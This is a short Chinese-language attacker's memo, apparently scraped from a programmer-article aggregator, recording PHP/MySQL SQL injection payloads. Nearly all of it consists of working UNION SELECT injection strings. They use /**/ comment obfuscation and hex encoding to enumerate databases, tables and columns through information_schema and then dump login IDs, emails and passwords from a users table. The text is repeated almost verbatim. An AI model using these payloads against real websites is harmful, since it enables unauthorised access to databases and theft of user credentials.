php 注入 记录一下
程序员文章站
2024-01-04 09:25:28
暴库名\表名\列名
/**/union/**/select/**/unhex(hex(concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)))+FROM+information_sch
ema.columns+WHERE+... 09-04-20...
暴库名\表名\列名
/**/union/**/select/**/unhex(hex(concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)))+from+information_sch
ema.columns+where+table_schema!=0x696e666f726d6174696f6e5f736368656d61+limit+n,1--
碰到一个字段暴不出来,问了下trace,找到了原因,是因为用户名字段是9个,但是密码字段只有4个是有值的,所以暴不出来,改了下语句可以了.
union+select+count(pasd)+from+users--
+union+select+concat(loginid,0x3a,email,0x3a,pasd)+from+users+where+length(pasd)>0+limit+n,1--
或者冰的原点提供的
/union/**/select/**/unhex(hex(group_concat(loginid,0x3a,pasd)))+from+users--
/**/union/**/select/**/unhex(hex(concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)))+from+information_sch
ema.columns+where+table_schema!=0x696e666f726d6174696f6e5f736368656d61+limit+n,1--
碰到一个字段暴不出来,问了下trace,找到了原因,是因为用户名字段是9个,但是密码字段只有4个是有值的,所以暴不出来,改了下语句可以了.
union+select+count(pasd)+from+users--
+union+select+concat(loginid,0x3a,email,0x3a,pasd)+from+users+where+length(pasd)>0+limit+n,1--
或者冰的原点提供的
/union/**/select/**/unhex(hex(group_concat(loginid,0x3a,pasd)))+from+users--